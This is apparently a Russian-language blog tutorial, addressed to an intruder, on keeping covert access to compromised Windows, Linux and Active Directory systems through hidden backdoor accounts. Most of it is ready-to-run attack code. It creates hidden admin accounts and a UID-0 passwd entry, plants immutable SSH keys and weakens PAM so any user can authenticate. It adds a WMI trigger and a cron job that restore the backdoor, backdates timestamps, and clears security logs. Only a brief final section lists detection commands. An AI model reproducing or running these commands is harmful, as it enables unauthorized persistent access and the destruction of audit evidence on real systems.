26
Получил доступ к системе? Красавчик. Но это только начало. Настоящая магия начинается, когда ты закрепляешься так, что никто не заметит. Теневые учётные записи — это классика персистенции, которая работает всегда. Разберём, как это делается по-настоящему.
Зачем нужны теневые учётки
После успешной эксплуатации уязвимости тебе нужен постоянный доступ. Первичная точка входа может быть закрыта, патчи поставлены, логи почищены. А ты уже внутри через backdoor-аккаунт, который выглядит как легитимный пользователь системы.
Теневая учётка даёт:
• Персистентный доступ даже после перезагрузки
• Легитимный вид в логах аутентификации
• Возможность работать без эксплойтов при повторном входе
• Обход многих систем мониторинга
Техники создания в Windows
Скрытая локальная учётка
Классика — создать пользователя с именем, оканчивающимся на $
. Такие аккаунты не отображаются в стандартном GUI.
1 2 |
net user Admin$ P@ssw0rd123! /add net localgroup Administrators Admin$ /add |
Ещё круче — использовать Unicode-символы, которые визуально неотличимы:
1 |
net user Admіn P@ssw0rd123! /add |
Заметил? Буква “i” здесь — кириллическая. В списке пользователей это выглядит как обычный Admin, но система видит два разных аккаунта.
Клонирование через Registry
Хардкорный метод — клонировать существующего пользователя через реестр:
1 2 3 4 5 6 |
# Экспортируем существующего пользователя reg save HKLM\SAM\SAM C:\temp\sam_backup reg save HKLM\SYSTEM\System C:\temp\system_backup # Создаём новую учётку с таким же RID # Используем mimikatz или аналоги для манипуляций с SAM |
Этот способ позволяет создать аккаунт с правами администратора, но без явного добавления в группу Administrators в логах.
WMI Event Subscription для автовосстановления
Создай триггер, который будет восстанавливать твою учётку при удалении:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$filterName = 'SystemMonitor' $consumerName = 'SystemRestore' $Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_UserAccount' AND TargetInstance.Name='Admin$'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{ Name=$filterName EventNameSpace="root\cimv2" QueryLanguage="WQL" Query=$Query } $Arg = @{ Name=$consumerName CommandLineTemplate="cmd.exe /c net user Admin$ P@ssw0rd123! /add && net localgroup Administrators Admin$ /add" } $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments $Arg Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{ Filter=$WMIEventFilter Consumer=$WMIEventConsumer } |
Техники для Linux/Unix
Backdoor через /etc/passwd
Старая школа, но работает на плохо защищённых системах:
1 2 3 4 5 6 |
# Создаём пользователя с UID 0 (root-права) echo 'backdoor:x:0:0:System Service:/root:/bin/bash' >> /etc/passwd # Генерируем хеш пароля и добавляем в /etc/shadow openssl passwd -1 -salt xyz YourPassword echo 'backdoor:$1$xyz$HASH_HERE:18000:0:99999:7:::' >> /etc/shadow |
SSH Key Persistence
Более элегантный метод — добавить свой публичный ключ:
1 2 3 4 5 6 7 |
# Для root mkdir -p /root/.ssh echo 'ssh-rsa YOUR_PUBLIC_KEY attacker@kali' >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys # Скрываем файл chattr +i /root/.ssh/authorized_keys |
Атрибут +i
делает файл иммутабельным — даже root не сможет его изменить без снятия атрибута.
PAM Backdoor
Для профи — модификация PAM модулей для создания мастер-пароля:
1 2 3 4 5 |
# Компилируем свой pam_unix.so с жёстко прошитым паролем # Заменяем оригинальный модуль в /lib/x86_64-linux-gnu/security/ # Или проще — добавляем в pam.d конфиг для своего модуля echo 'auth sufficient pam_succeed_if.so uid >= 0' >> /etc/pam.d/common-auth |
Продвинутые методы маскировки
Использование системных имён
Называй учётки как системные сервисы:
1 2 3 4 |
SYSTEM$ svc-monitoring apache-worker mysql-backup |
Такие имена не вызывают подозрений при беглом просмотре.
Модификация времени создания
В Windows можно изменить временные метки через PowerShell:
1 2 3 |
$user = [ADSI]"WinNT://./Admin$" $user.Put("whenCreated", (Get-Date).AddDays(-365)) $user.SetInfo() |
В Linux:
1 |
touch -t 202301010000 /home/backdoor |
Скрытие в Domain Environment
Если попал в домен — используй групповые политики:
1 2 3 4 5 6 7 |
# Создай пользователя в OU, которая не мониторится Import-Module ActiveDirectory New-ADUser -Name "svc-backup" -Path "OU=Service Accounts,DC=domain,DC=local" -AccountPassword (ConvertTo-SecureString "P@ss123" -AsPlainText -Force) -Enabled $true # Добавь в группу Domain Admins через вложенность Add-ADGroupMember -Identity "IT Support" -Members "svc-backup" Add-ADGroupMember -Identity "Domain Admins" -Members "IT Support" |
Защита от обнаружения
Логи и артефакты
После создания учётки почисти следы:
1 2 3 4 5 6 |
# Windows Event Logs wevtutil cl Security wevtutil cl System # Или точечно удаляй конкретные события Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4720} | ForEach-Object {$_.ToXml() | Out-File deleted_events.xml} |
Linux:
1 2 3 4 5 6 |
# Очистка specific entries sed -i '/backdoor/d' /var/log/auth.log sed -i '/backdoor/d' /var/log/secure # Или обнуляй всё echo "" > /var/log/auth.log |
Сетевая маскировка
Не светись с учётки явно. Используй:
1 2 3 4 5 6 |
# SSH через локальный jump host ssh -J legitimate_user@target backdoor@target # Или port forwarding ssh -L 2222:localhost:22 legitimate_user@target ssh backdoor@localhost -p 2222 |
Комбинированная персистенция
Не полагайся на один метод. Профи делают так:
1. Создают теневую учётку
2. Добавляют SSH ключ
3. Настраивают cron/scheduled task для проверки доступа
4. Прячут бэкдор в системном сервисе
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/bin/bash # Скрипт автопроверки и восстановления доступа if ! id -u backdoor > /dev/null 2>&1; then useradd -m -s /bin/bash backdoor echo "backdoor:P@ssw0rd" | chpasswd usermod -aG sudo backdoor fi if ! grep -q "ssh-rsa YOUR_KEY" /root/.ssh/authorized_keys; then echo "ssh-rsa YOUR_KEY" >> /root/.ssh/authorized_keys fi |
Добавь в cron:
1 |
*/15 * * * * /usr/local/bin/.system_check >/dev/null 2>&1 |
Детектирование и противодействие
Если ты админ и ищешь такие закладки:
1 2 3 4 5 6 7 8 9 |
# Windows: аудит всех локальных пользователей Get-LocalUser | Select Name,Enabled,LastLogon,PasswordLastSet # Поиск скрытых учёток net user | findstr /V "Administrator Guest" # Проверка WMI Event Subscriptions Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer |
Linux:
1 2 3 4 5 6 7 8 |
# Поиск пользователей с UID 0 awk -F: '$3 == 0 {print $1}' /etc/passwd # Проверка SSH ключей find / -name authorized_keys 2>/dev/null # Аудит PAM конфигов grep -r "sufficient" /etc/pam.d/ |